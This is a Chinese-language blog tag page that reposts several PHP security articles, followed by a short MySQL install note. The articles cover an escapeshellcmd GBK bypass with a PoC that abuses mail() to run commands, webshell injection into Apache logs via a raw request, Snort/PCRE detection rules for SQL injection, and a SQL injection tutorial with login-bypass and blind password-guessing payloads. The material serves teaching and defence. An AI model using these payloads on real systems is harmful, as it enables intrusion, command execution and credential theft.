Posts Tagged ‘PHP’

php escapeshellcmd多字节编码漏洞解析及延伸

Posted in 搬家之前 on 9月 13th, 2008 by 飘(piao2010) – Be the first to comment

文章提交:T_Torchidy (jnchaha_at_163.com)

漏洞公告在http://www.sektioneins.de/advisories/SE-2008-03.txt

    PHP 5 <= 5.2.5

    PHP 4 <= 4.4.8

    一些允许如GBK,EUC-KR, SJIS等宽字节字符集的系统都可能受此影响,影响还是非常大的,国内的虚拟主机应该是通杀的,在测试完这个漏洞之后,发现还是十分有意思的,以前也有过对这种类型安全漏洞的研究,于是就把相关的漏洞解释和一些自己的想法都写出来,也希望国内的一些有漏洞的平台能迅速做出响应,修补漏洞。

    这个漏洞出在php的用来转义命令行字符串的函数上,这些函数底层是用的php_escape_shell_cmd这个函数的,我们先来看看他的处理过程:

/* {{{ php_escape_shell_cmd

   Escape all chars that could possibly be used to

   break out of a shell command

   This function emalloc’s a string and returns the pointer.

   Remember to efree it when done with it.

    

   *NOT* safe for binary strings

*/  

char *php_escape_shell_cmd(char *str) {

    register int x, y, l;

    char *cmd;

    char *p = NULL;

    l = strlen(str);

    cmd = safe_emalloc(2, l, 1);

    

    for (x = 0, y = 0; x < l; x++) {

        switch (str[x]) {

            case ‘”‘:

            case ‘\\”:

#ifndef PHP_WIN32

                if (!p && (p = memchr(str + x + 1, str[x], l - x - 1))) {

                    /* noop */

                } else if (p && *p == str[x]) {

                    p = NULL;

                } else {

                    cmd[y++] = ‘\\\\’;

                }

                cmd[y++] = str[x];

                break;

#endif

            case ‘#’: /* This is character-set independent */

            case ‘&’:

            case ‘;’:

            case ‘`’:

            case ‘|’:

            case ‘*’:

            case ‘?’:

            case ‘~’:

            case ‘<’:

            case ‘>’:

            case ‘^’:

            case ‘(’:

            case ‘)’:

            case ‘[':

            case ']‘:

            case ‘{’:

            case ‘}’:

            case ‘$’:

            case ‘\\\\’:

            case ‘\\x0A’: /* excluding these two */

            case ‘\\xFF’:

#ifdef PHP_WIN32

            /* since Windows does not allow us to escape these chars, just remove them */

            case ‘%’:

                cmd[y++] = ‘ ‘;

                break;

#endif

                cmd[y++] = ‘\\\\’;

                /* fall-through */

            default:

                cmd[y++] = str[x];

        }

    }

    cmd[y] = ‘\\0′;

    return cmd;

}

/* }}} */

    可以看到,php通过将”,’,#,&,;…..等等在shell命令行里有特殊意义的字符都通过在前面加上\\变成\\”.\\’,\\#,\\&,\\;……来进行转义,使得用户的输入被过滤,来避免产生command injection漏洞。在php看来,只要过滤了这些字符,送入到system等函数中时,参数就会是安全的,php手册中给出的利用例子如下:

<?php

$e = escapeshellcmd($userinput);

// here we don’t care if $e has spaces

system(”echo $e”);

$f = escapeshellcmd($filename);

// and here we do, so we use quotes

system(”touch \\”/tmp/$f\\”; ls -l \\”/tmp/$f”");

?>

    很明显,如果没有经过escapeshellcmd的处理,用户输入hello;id的话,最后system执行的会是:

echo hello;id

;在shell里是分割命令的作用,这样不仅仅会echo hello,还会执行id这个命令,导致命令注入漏洞。用escapeshellcmd处理之后命令变成:

echo hello\\;id

这样执行的命令就只会是echo,其他的都变成echo的参数,很安全。

    事实上是这样么?php在处理完参数送入system之后它就什么都不管了,后面的工作实际上都是由linux来完成的,那么linux在处理这些参数的时候是怎么样的呢?linux在执行命令的时候会有一些的表示工作环境的环境变量,譬如PWD代表当前的工作环境,UID代表了你的身份,BASH代表命令解释器等等……而在linux系统执行命令的时候,还有一个非常重要的参数,LANG,这个参数决定了linux shell如何处理你的输入,这样就可以当你输入一些中文字符的时候,linux能认识他,不至于出现人与系统之间出现理解上的错误。默认情况下,linux的LANG是en_US.UTF-8,UTF-8是一个很安全的字符集,其系列中包含有对自身的校验,所以不会出现错误,会工作良好。一些系统支持多字节字符集如GBK的时候,这也正是国内的多数情况,你可以设置LANG=zh_CN.GBK,这样你的输入都会被当作GBK编码处理,而GBK是双字节的,合法的GBK编码会被认为是一个字符。

    大家可以看到,在php的处理过程中,它是单字节处理的,它只把输入当作一个字节流,而在linux设置了GBK字符集的时候,它的处理是双字节的,大家的理解很明显地不一致。我们查下GBK的字符集范围为8140-FEFE,首字节在 81-FE 之间,尾字节在 40-FE 之间,而一个非常重要的字符\\的编码为5c,在GBK的尾字节范围之内,这样我们考虑一个特殊的输入:

    0xbf;id

或    0xbf’id

    

经过php的escapeshellcmd单字节转码之后将会是

    0xbf5c;id

    0xbf5c’id

注意0xbf5c是一个合法的GBK编码,那么在linux执行的时候,会认为输入是

    [0xbfbc];id

很好,后面的id将会被执行。可以做个简单的实验,如下:

[loveshell@Loveshell tmp]$ echo 縗

>

?

[loveshell@Loveshell tmp]$ set|grep -i lang

LANG=zh_CN.GB2312

LANGVAR=en_US.UTF-8

[loveshell@Loveshell tmp]$ export LANG=zh_CN.GBK

[loveshell@Loveshell tmp]$ echo 縗

[loveshell@Loveshell tmp]$ set|grep -i lang

LANG=zh_CN.GBK

LANGVAR=en_US.UTF-8

[loveshell@Loveshell tmp]$

其中縗的编码为0xbf5c,可以看到在不设置LANG为GBK的时候縗是一个非法的gb2312编码,所以会被认为是两个字符,所以其中含有的0×5c起作用,被认为命令没结束。然后我们设置编码为GBK,縗就会被认为是一个字符来echo了。

那我们如何来证明php的漏洞呢,拿

<?php

$e = escapeshellcmd($_GET[c]);

// here we don’t care if $e has spaces

system(”echo $e”);

?>

作为例子,正常情况下上面的代码工作很好,我们提交

exp.php?c=loveshell%bf;id

结果返回

loveshell?id

我们再来稍微改下上面的代码

<?php

putenv(”LANG=zh_CN.GBK”);

$e = escapeshellcmd($_GET[c]);

// here we don’t care if $e has spaces

system(”echo $e”);

?>

php的putenv函数用于修改php的运行时的环境变量,上面修改完LANG之后,再提交上面的参数就可以看到:

loveshell縗 uid=99(nobody) gid=4294967295 groups=4294967295

命令被成功执行了,这里需要自己设置环境变量,当然也可能某些机器已经设置了LANG为GBK,于是一些采用escapeshellcmd过滤输入的就会出问题了。这里本质是linux和php对参数的理解不一致,而php的mail函数在底层还是依靠系统来执行sendmail命令的,并且支持对sendmail命令加参数,不过参数被过滤了,但是利用这里说到的问题,我们就可以在多字节编码机器上bypass过滤。

    mail函数一些代码片段如下:

……

    if (PG(safe_mode) && (ZEND_NUM_ARGS() == 5)) {

        php_error_docref(NULL TSRMLS_CC, E_WARNING, “SAFE MODE Restriction in effect.  The fifth parameter is disabled in SAFE MODE.”);

        RETURN_FALSE;

    }

    if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, “sss|ss”,

                              &to, &to_len,

                              &subject, &subject_len,

                              &message, &message_len,

                              &headers, &headers_len,

                              &extra_cmd, &extra_cmd_len

                              ) == FAILURE) {

        return;

    }

……

    if (force_extra_parameters) {

        extra_cmd = estrdup(force_extra_parameters);

    } else if (extra_cmd) {

        extra_cmd = php_escape_shell_cmd(extra_cmd);

    }

    if (php_mail(to_r, subject_r, message, headers, extra_cmd TSRMLS_CC)) {

        RETVAL_TRUE;

    } else {

        RETVAL_FALSE;

    }

…..

这里如果不是安全模式就会允许第五个参数,第五个参数作为extra_cmd经过php_escape_shell_cmd过滤后作为第五个参数送入php_mail函数,在php_mail中片段如下:

……

    if (extra_cmd != NULL) {

        sendmail_cmd = emalloc (strlen (sendmail_path) + strlen (extra_cmd) + 2);

        strcpy (sendmail_cmd, sendmail_path);

        strcat (sendmail_cmd, ” “);

        strcat (sendmail_cmd, extra_cmd);

    } else {

        sendmail_cmd = sendmail_path;

    }

#ifdef PHP_WIN32

    sendmail = popen(sendmail_cmd, “wb”);

#else

    /* Since popen() doesn’t indicate if the internal fork() doesn’t work

     * (e.g. the shell can’t be executed) we explicitely set it to 0 to be

     * sure we don’t catch any older errno value. */

    errno = 0;

    sendmail = popen(sendmail_cmd, “w”);

……

extra_cmd被附着在sendmail路径后面作为参数了,这里我们就可以利用这个漏洞来在一些禁止掉system等危险函数的环境下执行命令了,我写的poc如下:

<?php

//php disable function bypass vul

//by Stefan Esser

//poc by Loveshell

putenv(”LANG=zh_CN.GBK”);

mail(”loveshell@loveshell.net”,”",”",”",”xxxx”.chr(0xbf).”;”.$_GET[c]);

?>

可以在支持GBK的机器上运行,其他字符集 …

邪恶的空格-PHP本地文件包含漏洞的新突破口!

Posted in 搬家之前 on 4月 18th, 2008 by 飘(piao2010) – Be the first to comment

PS:文章说的出错鸟,事后剑心提醒我才发现,有忽悠人的嫌疑,Connection HTTP标头和能不能写入空格无关!!

记得Zizzy写过一篇《关于php包含Apache日志的随想》,这是一个很好的思路,我们可以随意构造

http://www.exp.com/index<?/**/eval($_POST[cmd]);/**/?>.php

这样的GET请求,将一句话木马写入web日志,然后利用文件包含漏洞包含日志得到WEBSHELL,如milw0rm上的这个EXP:

http://www.milw0rm.com/exploits/4029

不过很遗憾,这类情况只能在short_open_tag=on的情况下才能有效,当short_open_tag=off时,PHP将不支持<?/**/eval($_POST[cmd]);/**/?>这样的短语句.

所以我们只能使用<?php eval($_POST[cmd]);?>这样标准语法的一句话木马,但是问题来鸟,语句中有一个空格,类似

http://www.exp.com/index<?php eval($_POST[cmd]);?>.php

这样的提交,WEB服务器将会把空格做HTTP编码转成%20写入web日志,如果PHP包含<?php%20eval($_POST[cmd]);?>这样的语句肯定是不会成功的,所以我们必须把空格真正的写入WEB日志.

哈,上面说的牛牛可以略过,下面开始切入正题,我们知道一般情况下,一旦Web服务器向浏览器发送了请求数据,肯定会返回响应,这里我发现了WEB服务器一个奇怪的特性,就是如果没有返回响应而WEB服务器又接受了请求,那么请求的内容将原封不动的写入WEB日志,不会进行HTTP编码.

这样我们想个办法一直与WEB服务器保持TCP连接,不让WEB服务器处理响应返回,然后再由客户端的我们中断这次TCP连接,说得这么复杂其实很容易实现.只要在HTTP请求的数据包中去掉Connection HTTP标头值。

利用NC伪造没有Connection HTTP标头的请求包:

GET /index< >.php HTTP/1.1

Accept: */*

Accept-Language: zh-cn

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)

Host: 192.168.3.44

你会发现WEB服务器一直不会返回响应,直到我们客户端断开这次连接,这个邪恶的空格便写入了WEB日志!

SQL注入技术和跨站脚本的安全检测

Posted in 搬家之前 on 3月 1st, 2008 by 飘(piao2010) – Be the first to comment

1. 介绍

在最后两年中,安全专家应该对网络应用层的攻击更加重视。因为无论你有多强壮的防火墙规则设置或者非常勤于补漏的修补机制,如果你的网络应用程序开发者没有遵循 安全代码进行开发,攻击者将通过80端口进入你的系统。广泛被使用的两个主要攻击技术是SQL注入[ref1]和CSS[ref2]攻击。SQL注入是指:通过互联网的输入区域,插入SQL meta-characters(特殊字符 代表一些数据)和指令,操纵执行后端的SQL查询的技术。这些攻击主要针对其他组织的WEB服务器。CSS攻击通过在URL里插入script标签,然后 诱导信任它们的用户点击它们,确保恶意Javascript代码在受害人的机器上运行。这些攻击利用了用户和服务器之间的信任关系,事实上服务器没有对输入、输出进行检测,从而未拒绝javascript代码。

依赖level of paranoia组织的能力,我们已经编写了多种检测相同攻击的规则。如果你希望检测各种可能的SQL注入攻击,那么你需要简单的留意任何现行的SQL meta-characters,如单引号,分号和双重破折号。同样的一个极端检测CSS攻击的方法,只要简单地提防HTML标记的角括号。但这样会检测 出很多错误。为了避免这些,这些规则需要修改使它检测更精确些, 当仍然不能避免错误。

在Snort规则中使用pcre(Perl Compatible Regular Expressions)[ref4]关键字,每个规则可以带或不带其他规则动作。这些规则也可以被公用软件如grep(文档搜索工具)使用,来审阅网络服务器日志。 但是,需要警惕的是,用户的输入只有当以GET提交请求时,WEB服务器才会记录日记,如果是以POST提交的请求在日记中是不会记录的。 

2. SQL注入的正则表示式

当 你为SQL注入攻击选择正则表示式的时候,重点要记住攻击者可以通过提交表单进行SQL注入,也可以通过Cookie区域。你的输入检测逻辑应该考虑用户 组织的各类型输入(比如表单或Cookie信息)。并且如果你发现许多警告来自一个规则,请留意单引号或者是分号,也许些字符是你的Web应用程序创造的 合法的在CookieS中的输入。因此, 您需要根据你的特殊的WEB应用程序评估每个规则。

依照前面提到,一个琐细的检测SQL射入攻击的正则表达式要留意SQL特殊的meta-characters 譬如单引号(’)双重扩则号(–),为了查出这些字符和他们hex等值数, 以下正则表达式适用: 

2.1 检测SQL meta-characters的正则表达式

/(\\%27)|(\\’)|(\\-\\-)|(\\%23)|(#)/ix

解释:

我 们首先检查单引号等值的hex,单引号本身或者双重扩折号。这些是MS SQL Server或Oracle的字符, 表示后边的为评论, 随后的都将被忽略。 另外,如果你使用MySQL,你需要留意 ’#’和它等值的hex的出现。注意我们不需要检查双重破折号等值的hex, 因为这不是HTML meta-character, 浏览器不会进行编码。 并且, 如果攻击者设法手工修改双重破折号为它的hex值%2D(使用代理像Achilles[ref 5]), SQL注入将失败。 

加入上述正则表达式的新的Snort规则如下: 

alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:”SQL Injection - Paranoid”; flow:to_server,established;uricontent:”.pl”;pcre:”/(\\%27)|(\\’)|(\\-\\-)|(%23)|(#)/i”; classtype:Web-application-attack; sid:9099; rev:5;)

在本篇讨论中, uricontent关键字的值为”.pl “, 因为在我们的测试环境里, CGI 程序是用Perl写的。uricontent关键字的值取决于您的特殊应用, 这个值也许是”.php “, 或” .asp “, 或” .jsp “, 等。 从这点考虑, 我们不显示对应的Snort 规则, 但是我们会给出创造这些规则的正则表达式。 通过这些正则表达式你可以很简单的创造很多的Snort规则.在前面的正则表达式里, 我们检测双重破折号是因为:即便没有单引号的存在那里也可能是SQL射入点[ref 6]。 例如, SQL查询条目只包含数值,如下: 

select value1, value2, num_value3 from database

where num_value3=some_user_supplied_number

这种情况,攻击者可以执行额外的SQL查询, 示范提交如下输入: 

3; insert values into some_other_table

最后, pcre的修饰符’ i’ 和’ x ’ 是用于分别匹配大小写和忽略空白处的。 上面的规则也可以另外扩展来检查分号的存在。然而,分号很可以是正常HTTP应答的一部分。为了减少这种错误,也是为了任何正常的单引号和双重扩折号的出

现,上面的规则应该被修改成先检测=号的存。用户输入会响应一个GET或POST请求,一般输入提交如下:

username=some_user_supplied_value&password=some_user_supplied_value

因此, SQL 注入尝试将导致用户的输入出现在a = 号或它等效的hex值之后。

2.2 修正检测SQL meta-characters的正则表达式

/((\\%3D)|(=))[^\\n]*((\\%27)|(\\’)|(\\-\\-)|(\\%3B)|(:))/i

解释:

这个规则首先留意 = 号或它的hex值(%3D),然后考虑零个或多个除换行符以外的任意字符,最后检测单引号,双重破折号或分号。

典 型的SQL注入会尝试围绕单引号的用途操作原来的查询,以便得到有用的价值。讨论这个攻击一般使用1’or’1’=’1字符串. 但是, 这个串的侦查很容易被逃避,譬如用1’or2>1 –. 然而唯一恒定的部分是最初的字符的值,跟随一单引号,再加’or’。随后的布尔逻辑可能在一定范围上变化,可以是普通样式也可能是非常复杂的。这些攻击可 以相当精确被侦测,通过以下的正则表达式。2.3章节讲解。

2.3 典型的 SQL 注入攻击的正则表达式

/\\w*((\\%27)|(\\’))((\\%6F)|o|(\\%4F))((\\%72)|r|(\\%52))/ix

解释:

\\w* - 零个或多个字符或者下划线。

(\\%27)|\\’ - 单引号或它的hex等值。

(\\%6 F)|o|(\\%4 F))((\\%72)|r|-(\\%52) -‘or’的大小写以及它的hex等值。

’union’SQL 查询在SQL注入各种数据库中攻击中同样是很常见的。如果前面的正则表达式仅仅检测单引号或则其他的SQL meta characters ,会造成很多的错误存在。你应该进一步修改查询,检测单引号和关键字‘union’。这同样可以进一步扩展其他的SQL关键字,像’select’, ’insert’, ’update’, ’delete’, 等等。

2.4 检测SQL注入,UNION查询关键字的正则表达式

/((\\%27)|(\\’))union/ix

(\\%27)|(\\’) - 单引号和它的hex等值

union - union关键字

可以同样为其他SQL查询定制表达式,如 >select, insert, update, delete, drop, 等等.

如 果,到这个阶段,攻击者已经发现web应用程序存在SQL注入漏洞,他将尝试利用它。如果他认识到后端服务器式MS SQL server,他一般会尝试运行一些危险的储存和扩展储存过程。这些过程一般以‘sp’或‘xp’字母开头。典型的,他可能尝试运行 ‘xp_cmdshell’扩展储存过程(通过SQL Server执行Windows 命令)。SQL服务器的SA权限有执行这些命令的权限。同样他们可以通过xp_regread, xp_regwrite等储存过程修改注册表。

2.5 检测MS SQL Server SQL注入攻击的正则表达式

/exec(\\s|\\+)+(s|x)p\\w+/ix

解释:

exec - 请求执行储存或扩展储存过程的关键字

(\\s|\\+)+ - 一个或多个的空白或它们的http等值编码

(s|x) p- ‘sp’或‘xp’字母用来辨认储存或扩展储存过程

\\w+ - 一个或多个字符或下划线来匹配过程的名称

php+Mysql注入详解

Posted in 安全相关, 搬家之前 on 8月 27th, 2007 by 飘(piao2010) – Be the first to comment

声明

  本文作者:安全天使!本文仅用于教学目的,如果因为本文造成的攻击后果本人概不负责,本文所有代码均为本人所写,所有数据均经过测试。绝对真实。

前言

  2003年开始,喜欢脚本攻击的人越来越多,而且研究ASP下注入的朋友也逐渐多了起来,我看过最早的关于SQL注入的文章是一篇99年国外的高手写的,而现在国外的已经炉火纯青了,国内才开始注意这个技术,由此看来,国内的这方面的技术相对于国外还是有一段很大差距,话说回来,大家对SQL注入攻击也相当熟悉了,国内各大站点都有些堪称经典的作品,不过作为一篇完整的文章,我觉得还是有必要再说说其定义和原理。如果哪位高手已经达到炉火纯青的地步,不妨给本文挑点刺。权当指点小弟。

关于php+Mysql的注入

  国内能看到php+Mysql注入的文章可能比较少,但是如果关注各种WEB程序的漏洞,就可以发现,其实这些漏洞的文章其实就是一个例子。不过由于国内研究PHP的人比研究ASP的人实在少太多,所以,可能没有注意,况且PHP的安全性比ASP高很多,导致很多人不想跨越这个门槛。

  尽管如此,在PHP站点日益增多的今天,SQL注入仍是最有效最麻烦的一种攻击方式,有效是因为至少70% 以上的站点存在SQL Injection漏洞,包括国内大部分安全站点,麻烦是因为MYSQL4以下的版本是不支持子语句的,而且当php.ini里的 magic_quotes_gpc 为On 时。提交的变量中所有的 ‘ (单引号), ” (双引号), (反斜线) and 空字符会自动转为含有反斜线的转义字符。给注入带来不少的阻碍。

  早期的时候,根据程序的代码,要构造出没有引号的语句形成有效的攻击,还真的有点困难,好在现在的技术已经构造出不带引号的语句应用在某些场合。只要有经验,其实构造有效的语句一点也不难,甚至成功率也很高,但具体情况具体分析。首先要走出一个误区。

注:在没有具体说明的情况下,我们假设magic_quotes_gpc均为off。

php+Mysql注入的误区

  很多人认为在PHP+MYSQL下注入一定要用到单引号,或者是没有办法像MSSQL那样可以使用“declare @a sysname select @a=<command> exec master.dbo.xp_cmdshell @a”这类的命令来消除引号,其实这个是大家对注入的一种误解或这说是对注入认识上的一种误区。

  为什么呢?因为不管在什么语言里,在引号(包括单双)里,所有字符串均是常量,即使是dir这样的命令,也紧紧是字符串而已,并不能当做命令执行,除非是这样写的代码:

$command = “dir c:”;

system($command);

  否则仅仅只是字符串,当然,我们所说的命令不单指系统命令,我们这里说的是SQL语句,要让我们构造的SQL语句正常执行,就不能让我们的语句变成字符串,那么什么情况下会用单引号?什么时候不用呢?看看下面两句SQL语句:

①SELECT * FROM article WHERE articleid=’$id’

②SELECT * FROM article WHERE articleid=$id

  两种写法在各种程序中都很普遍,但安全性是不同的,第一句由于把变量$id放在一对单引号中,这样使得我们所提交的变量都变成了字符串,即使包含了正确的SQL语句,也不会正常执行,而第二句不同,由于没有把变量放进单引号中,那我们所提交的一切,只要包含空格,那空格后的变量都会作为SQL语句执行,我们针对两个句子分别提交两个成功注入的畸形语句,来看看不同之处。

① 指定变量$id为:

1′ and 1=2 union select * from user where userid=1/*

此时整个SQL语句变为:

SELECT * FROM article WHERE articleid=’1′ and 1=2 union select * from user where userid=1/*’

②指定变量$id为:

1 and 1=2 union select * from user where userid=1

此时整个SQL语句变为:

SELECT * FROM article WHERE articleid=1 and 1=2 union select * from user where userid=1

  看出来了吗?由于第一句有单引号,我们必须先闭合前面的单引号,这样才能使后面的语句作为SQL执行,并要注释掉后面原SQL语句中的后面的单引号,这样才可以成功注入,如果php.ini中magic_quotes_gpc设置为on或者变量前使用了addslashes()函数,我们的攻击就会化为乌有,但第二句没有用引号包含变量,那我们也不用考虑去闭合、注释,直接提交就OK了。

  大家看到一些文章给出的语句中没有包含单引号例如pinkeyes的《php注入实例》中给出的那句SQL语句,是没有包含引号的,大家不要认为真的可以不用引号注入,仔细看看PHPBB的代码,就可以发现,那个$forum_id所在的SQL语句是这样写的:

$sql = “SELECT *

FROM ” . FORUMS_TABLE . “

WHERE forum_id = $forum_id”;

  由于没有用单引号包含变量,才给pinkeyes这个家伙有机可乘,所以大家在写PHP程序的时候,记得用单引号把变量包含起来。当然,必要的安全措施是必不可少的。

简单的例子

  先举一个例子来给大家了解一下PHP下的注入的特殊性和原理。当然,这个例子也可以告诉大家如何学习构造有效的SQL语句。

  我们拿一个用户验证的例子,首先建立一个数据库和一个数据表并插入一条记录,如下:

CREATE TABLE `user` (

`userid` int(11) NOT NULL auto_increment,

`username` varchar(20) NOT NULL default ”,

`password` varchar(20) NOT NULL default ”,

PRIMARY KEY (`userid`)

) TYPE=MyISAM AUTO_INCREMENT=3 ;

#

# 导出表中的数据 `user`

#

INSERT INTO `user` VALUES (1, ‘angel’, ‘mypass’);

  验证用户文件的代码如下:

<?php

$servername = “localhost”;

$dbusername = “root”;

$dbpassword = “”;

$dbname = “injection”;

mysql_connect($servername,$dbusername,$dbpassword) or die (”数据库连接失败”);

$sql = “SELECT * FROM user WHERE username=’$username’ AND password=’$password’”;

$result = mysql_db_query($dbname, $sql);

$userinfo = mysql_fetch_array($result);

if (empty($userinfo))

{

echo “登陆失败”;

} else {

echo “登陆成功”;

}

echo “<p>SQL Query:$sql<p>”;

?>

  这时我们提交:

http://127.0.0.1/injection/user.php?username=angel’ or 1=1

  就会返回:

Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in F:wwwinjectionuser.php on line 13

登陆失败

SQL Query:SELECT * FROM user WHERE username=’angel’ or 1=1′ AND password=”

PHP Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in F:wwwinjectionuser.php on line 13

  看到了吗?单引号闭合后,并没有注释掉后面的单引号,导致单引号没有正确配对,所以由此可知我们构造的语句不能让Mysql正确执行,要重新构造:

http://127.0.0.1/injection/user.php?username=angel’ or ‘1=1

  这时显示“登陆成功”,说明成功了。或者提交:

http://127.0.0.1/injection/user.php?username=angel’/*

http://127.0.0.1/injection/user.php?username=angel‘%23

  这样就把后面的语句给注释掉了!说说这两种提交的不同之处,我们提交的第一句是利用逻辑运算,在ASP中运用可以说是非常广泛的,这个不用说了吧?第二、三句是根据mysql的特性,mysql支持/*和#两种注释格式,所以我们提交的时候是把后面的代码注释掉,值得注意的是由于编码问题,在IE地址栏里提交#会变成空的,所以我们在地址栏提交的时候,应该提交%23,才会变成#,就成功注释了,这个比逻辑运算简单得多了,由此可以看出PHP比ASP强大灵活多了。

  通过上面的例子大家应该对PHP+MYSQL的注入有个感性的认识了吧?

语句构造

  PHP+MYSQL注入的博大精深不仅仅体现在认证体系的饶过,语句的构造才是最有趣味的地方,但构造语句和ACCESS、MSSQL都有少许不同,但同样可以发挥得淋漓尽致。看下面的例子。

一、搜索引擎

  网上有一大堆的PHP程序搜索引擎是有问题的,也就是提交特殊字符可以显示所有记录,包括不符合条件的,其实这个危害也不算大,因为允许用户输入关键字进行模糊查询的地方大多数都允许检索所有的记录。很多查询的设计就是这样的。

  查询是只读的操作应该不会对数据产生破坏作用,不要太担心。不过泄露隐私不知道算不算危害,下面是一个标准的搜索引擎:

<form method=”GET” action=”search.php” name=”search”>

<input name=”keywords” type=”text” value=”" size=”15″> <input type=”submit” value=”Search”>

</form>

<p><b>Search result</b></p>

<?php

$servername = “localhost”;

$dbusername = “root”;

$dbpassword = “”;

$dbname = “injection”;

mysql_connect($servername,$dbusername,$dbpassword) or die (”数据库连接失败”);

$keywords = $_GET['keywords'];

if (!empty($keywords)) {

  //$keywords = addslashes($keywords);

  //$keywords = str_replace(”_”,”_”,$keywords);

  //$keywords = str_replace(”%”,”%”,$keywords);

  $sql = “SELECT * FROM “.$db_prefix.”article WHERE title LIKE ‘%$keywords%’ $search ORDER BY title DESC”;

  $result = mysql_db_query($dbname,$sql);

  $tatol=mysql_num_rows($result);

  echo “<p>SQL Query:$sql<p>”;

  if ($tatol <=0){

    echo “The “<b>$keywords</b>” was not found in all the record.<p>n”;

  } else {

    while ($article=mysql_fetch_array($result)) {

      echo “<li>”.htmlspecialchars($article[title]).”<p>n”;

    } //while

  }

} else {

  echo “<b>Please enter some keywords.</b><p>n”;

}

?>

  一般程序都是这样写的,如果缺乏变量检查,我们就可以改写变量,达到“注入”的目的,尽管没有危害,当我们输入“___” 、“.__ ”、“%”等类似的关键字时,会把数据库中的所有记录都取出来。如果我们在表单提交:

%’ ORDER BY articleid/*

%’ ORDER BY articleid#

__’ ORDER BY articleid/*

__’ ORDER BY articleid#

  SQL语句就被改变成下面的样子了,

SELECT * FROM article WHERE title LIKE ‘%%’ ORDER BY articleid/*%’ ORDER BY title DESC

SELECT * FROM article WHERE title LIKE ‘%__’ ORDER BY articleid#%’ ORDER BY title DESC

  就会列出所有记录,包括被隐藏的,还可以改变排列顺序。这个虽然危害不大,也算是注入的一种方式了吧?

二、查询字段

  查询字段又可以分成两种,本表查询和跨表查询,这两种查询和ACCESS、MSSQL差不多,甚至更强大、更灵活、更方便。不知道为什么就是有人认为比ASP难?我们在ASP中经常使用的个别函数在PHP里要有小小的改动,如下:

① 本表查询

  看下面一条SQL语句,多用在论坛或者会员注册系统查看用户资料的,

<?php

$servername = “localhost”;

$dbusername = “root”;

$dbpassword = “”;

$dbname = “injection”;

mysql_connect($servername,$dbusername,$dbpassword) or die (”数据库连接失败”);

$sql = “SELECT * FROM user WHERE username=’$username’”;

$result = mysql_db_query($dbname,$sql);

$row = mysql_fetch_array($result);

if (!$row) {

  echo “该记录不存在”;

  echo “<p>SQL Query:$sql<p>”;

  exit;

}

echo “你要查询的用户ID是:$row[userid]n”;

echo “<p>SQL Query:$sql<p>”;

?>

  当我们提交的用户名为真时,就会正常返回用户的ID,如果为非法参数就会提示相应的错误,由于是查询用户资料,我们可以大胆猜测密码就存在这个数据表里(现在我还没有碰见过密码是单独存在另一个表的程序),记得刚才的身份验证程序吗?和现在的相比,就少了一个AND条件,如下:

SELECT * FROM user WHERE username=’$username’ AND password=’$password’SELECT * FROM user WHERE username=’$username’

  相同的就是当条件为真时,就会给出正确的提示信息,如果我们构造出后面的AND条件部分,并使这部分为真,那我们的目的也就达到了,还是利用刚才建立的user数据库,用户名为angel,密码为mypass,

看了上面的例子,应该知道构造了吧,如果我们提交:

http://127.0.0.1/injection/user.php?username=angel’ and password=’mypass

  这个是绝对为真的,因为我们这样提交上面的SQL语句变成了下面的样子:

SELECT * FROM user WHERE username=’angel’ AND password=’mypass’

  但在实际的攻击中,我们是肯定不知道密码的,假设我们知道数据库的各个字段,下面我们就开始探测密码了,首先获取密码长度:

http://127.0.0.1/injection/user.php?username=angel’ and LENGTH(password)=’6

  在ACCESS中,用LEN()函数来获取字符串长度,在MYSQL中,要使用LENGTH(),只要没有构造错误,也就是说SQL语句能正常执行,那返回结果无外乎两种,不是返回用户ID,就是返回“该记录不存在”。当用户名为angel并且密码长度为6的时候返回真,就会返回相关记录,是不是和ASP里一样?再用LEFT()、RIGHT()、MID()函数猜密码:

http://127.0.0.1/injection/user.php?username=angel’ and LEFT(password,1)=’m

http://127.0.0.1/injection/user.php?username=angel‘ and LEFT(password,2)=’my

http://127.0.0.1/injection/user.php?username=angel‘ and LEFT(password,3)=’myp

http://127.0.0.1/injection/user.php?username=angel‘ and LEFT(password,4)=’mypa

http://127.0.0.1/injection/user.php?username=angel‘ and LEFT(password,5)=’mypas

http://127.0.0.1/injection/user.php?username=angel‘ and LEFT(password,6)=’mypass

  看,密码不是出来了吗?简单吧?当然实际情况会有不少条件限制,下面还会讲到这个例子的深入应用。

② 跨表查询

  这部分就和ASP有点出入了,除了一定要用UNION连接两条SQL语句,最难掌握的就是字段的数量,如果看过MYSQL参考手册,就知道了在 SELECT 中的 select_expression (select_expression 表示你希望检索的列[字段]) 部分列出的列必须具有同样的类型。第一个 SELECT 查询中使用的列名将作为结果集的列名返回。简单的说,也就是UNION后面查选的字段数量、字段类型都应该与前面的SELECT一样,而且,如果前面的SELECT为真,就同时返回两个SELECT的结果,当前面的SELECT为假,就会返回第二个SELECT所得的结果,某些情况会替换掉在第一个SELECT原来应该显示的字段, 应该先知道前面查询表的数据表的结构。如果我们查询两个数据表的字段相同,类型也相同,我们就可以这样提交:

SELECT * FROM article WHERE articleid=’$id’ UNION SELECT * FROM……

  如 …

apache+php+mysql

Posted in 搬家之前 on 12月 31st, 2006 by 飘(piao2010) – Be the first to comment

安装mysql之前我们首先创建一个组,称为mysql,然后创建一个名为mysql的用户。
然后解压mysql-standard-4.0.16-pc-linux-i686.tar.gz,用命令tar –zxvf mysql-standard-4.0.16-pc-linux-i686.tar.gz, 解压后在当前目录生成一个mysql-standard-4.0.16-pc-linux-i686的文件夹,进入该目录,看看里面有哪些文件和目录,然后用./configure对mysql的安装目录进行配置,如下图所示的./configure –prefix=/usr/local/mysql/是将mysql安装在/usr/local目录下的mysql目录中。
对于一般的文件,剩下就只需make & make  install了。
但是这个版本的mysql,只需将mysql-standard-4.0.16-pc-linux-i686目录复制到/usr/local下,然后重命名为mysql即可。
然后安装数据库,用#scripts/mysql_install_db,如下图五所示,mysql_install_db是一个脚本文件,将创建mysql和test两个数据库。mysql数据库是系统库,包含一些重要信息,如用户信息等,在不完全清楚的情况下,建议不要直接操作次数据库。test数据库是一个测试用的数据库。
接下来是设置目录权限了,用如下的命令
